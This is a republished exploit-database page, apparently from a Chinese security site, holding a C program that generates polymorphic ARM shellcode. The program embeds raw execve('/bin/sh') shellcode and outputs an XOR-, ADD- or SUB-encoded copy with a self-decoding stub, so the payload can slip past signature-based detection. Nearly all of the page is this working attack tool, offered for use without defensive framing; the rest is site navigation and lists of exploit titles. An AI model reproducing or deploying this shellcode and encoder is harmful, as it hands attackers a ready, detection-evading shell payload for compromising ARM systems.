首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ARM Polymorphic execve("/bin/sh", ["/bin/sh"], NULL) Shellcode Generator
来源:http://shell-storm.org 作者:Salwan 发布时间:2010-07-08  

/*
Title:     Generator polymorphic shellcode on ARM architecture
Date:      2010-07-07
Tested on: ARM926EJ-S rev 5 (v5l)

Author:    Jonathan Salwan
Web:       http://shell-storm.org | http://twitter.com/shell_storm

! Database of shellcodes http://www.shell-storm.org/shellcode/

Credit
======
This code generates a shellcode polymorphic execve("/bin/sh", ["/bin/sh"], NULL)
on ARM architecture.

You can encode your shellcode with XOR, ADD, SUB
*/

 

#include <stdio.h>
#include <stdio.h>

/* execve("/bin/sh", ["/bin/sh"], NULL); */

unsigned char your_SC[] = "\x01\x30\x8f\xe2"
                          "\x13\xff\x2f\xe1"
                          "\x78\x46\x0a\x30"
                          "\x01\x90\x01\xa9"
                          "\x92\x1a\x0b\x27"
                          "\x01\xdf\x2f\x2f"
                          "\x62\x69\x6e\x2f"
                          "\x73\x68";


void syntax(void)
{
 fprintf(stdout,"\nSyntax:  ./encode <type> <value>\n\n");
 fprintf(stdout,"Type:    -xor\n");
 fprintf(stdout,"         -add\n");
 fprintf(stdout,"         -sub\n\n");
 fprintf(stdout,"Exemple: ./encode -xor 20\n\n");
 exit(1);
}

int main(int argc, char *argv[])
{
 if(argc != 3){
  syntax();
  return 1;
  } 


 if(!strcmp(argv[1], "-xor"))
  {
  fprintf(stdout,"Encode : XOR %s\n", argv[2]);
  fprintf(stdout,"Encoded: \n");

  int num  = (256-strlen(your_SC))+1;
  int num2 = num + 1;

  fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
               "\\x16\\xff\\x2f\\xe1"
               "\\x%.2x\\x40\\xa0\\xe3"
               "\\x01\\x0c\\x54\\xe3"
               "\\x1e\\xff\\x2f\\x81"
               "\\x%.2x\\x40\\x44\\xe2"
               "\\x04\\x50\\xde\\xe7"
               "\\x%.2x\\x50\\x25\\xe2"
               "\\x04\\x50\\xce\\xe7"
               "\\x%.2x\\x40\\x84\\xe2"
               "\\xf7\\xff\\xff\\xea"
               "\\xf5\\xff\\xff\\xeb"
    ,num, num, atoi(argv[2]), num2);

  for (int i=0;i<sizeof(your_SC)-1;i++){
   your_SC[i] = your_SC[i]^atoi(argv[2]);
   fprintf(stdout,"\\x%.2x", your_SC[i]);
   }
  fprintf(stdout,"\n");
  }
 

        if(!strcmp(argv[1], "-add"))
                {
                fprintf(stdout,"Encode : ADD %s\n", argv[2]);
                fprintf(stdout,"Encoded: \n");

                int num  = (256-strlen(your_SC))+1;
                int num2 = num + 1;

                fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
                                "\\x16\\xff\\x2f\\xe1"
                                "\\x%.2x\\x40\\xa0\\xe3"
                                "\\x01\\x0c\\x54\\xe3"
                                "\\x1e\\xff\\x2f\\x81"
                                "\\x%.2x\\x40\\x44\\xe2"
                                "\\x04\\x50\\xde\\xe7"
                                "\\x%.2x\\x50\\x45\\xe2"
                                "\\x04\\x50\\xce\\xe7"
                                "\\x%.2x\\x40\\x84\\xe2"
                                "\\xf7\\xff\\xff\\xea"
                                "\\xf5\\xff\\xff\\xeb"
                                ,num, num, atoi(argv[2]), num2);

                for (int i=0;i<sizeof(your_SC)-1;i++){
                        your_SC[i] = your_SC[i]+atoi(argv[2]);
                        fprintf(stdout,"\\x%.2x", your_SC[i]);
                        }
                fprintf(stdout,"\n");
                }

        if(!strcmp(argv[1], "-sub"))
                {
                fprintf(stdout,"Encode : SUB %s\n", argv[2]);
                fprintf(stdout,"Encoded: \n");

                int num  = (256-strlen(your_SC))+1;
                int num2 = num + 1;

                fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
                                "\\x16\\xff\\x2f\\xe1"
                                "\\x%.2x\\x40\\xa0\\xe3"
                                "\\x01\\x0c\\x54\\xe3"
                                "\\x1e\\xff\\x2f\\x81"
                                "\\x%.2x\\x40\\x44\\xe2"
                                "\\x04\\x50\\xde\\xe7"
                                "\\x%.2x\\x50\\x85\\xe2"
                                "\\x04\\x50\\xce\\xe7"
                                "\\x%.2x\\x40\\x84\\xe2"
                                "\\xf7\\xff\\xff\\xea"
                                "\\xf5\\xff\\xff\\xeb"
                                ,num, num, atoi(argv[2]), num2);

                for (int i=0;i<sizeof(your_SC)-1;i++){
                        your_SC[i] = your_SC[i]-atoi(argv[2]);
                        fprintf(stdout,"\\x%.2x", your_SC[i]);
                        }
                fprintf(stdout,"\n");
                }

return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GSM SIM Utility Local Exploit
·IrcDelphi Daemon Server Denial
·Hero DVD Remote Buffer Overflo
·EA Battlefield 2 and Battlefie
·HP NNM 7.53 ovwebsnmpsrv.exe B
·Qt 4.6.3 "QSslSocketBackendPri
·EvoCam Web Server OSX ROP Remo
·VLC Media Player version 1.0.5
·minerCPP 0.4b Remote BOF+Forma
·NetworX version 1.0.3 suffers
·Opera Exploit v10.60 Denial of
·linux/x86 bind port to 6678 XO
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved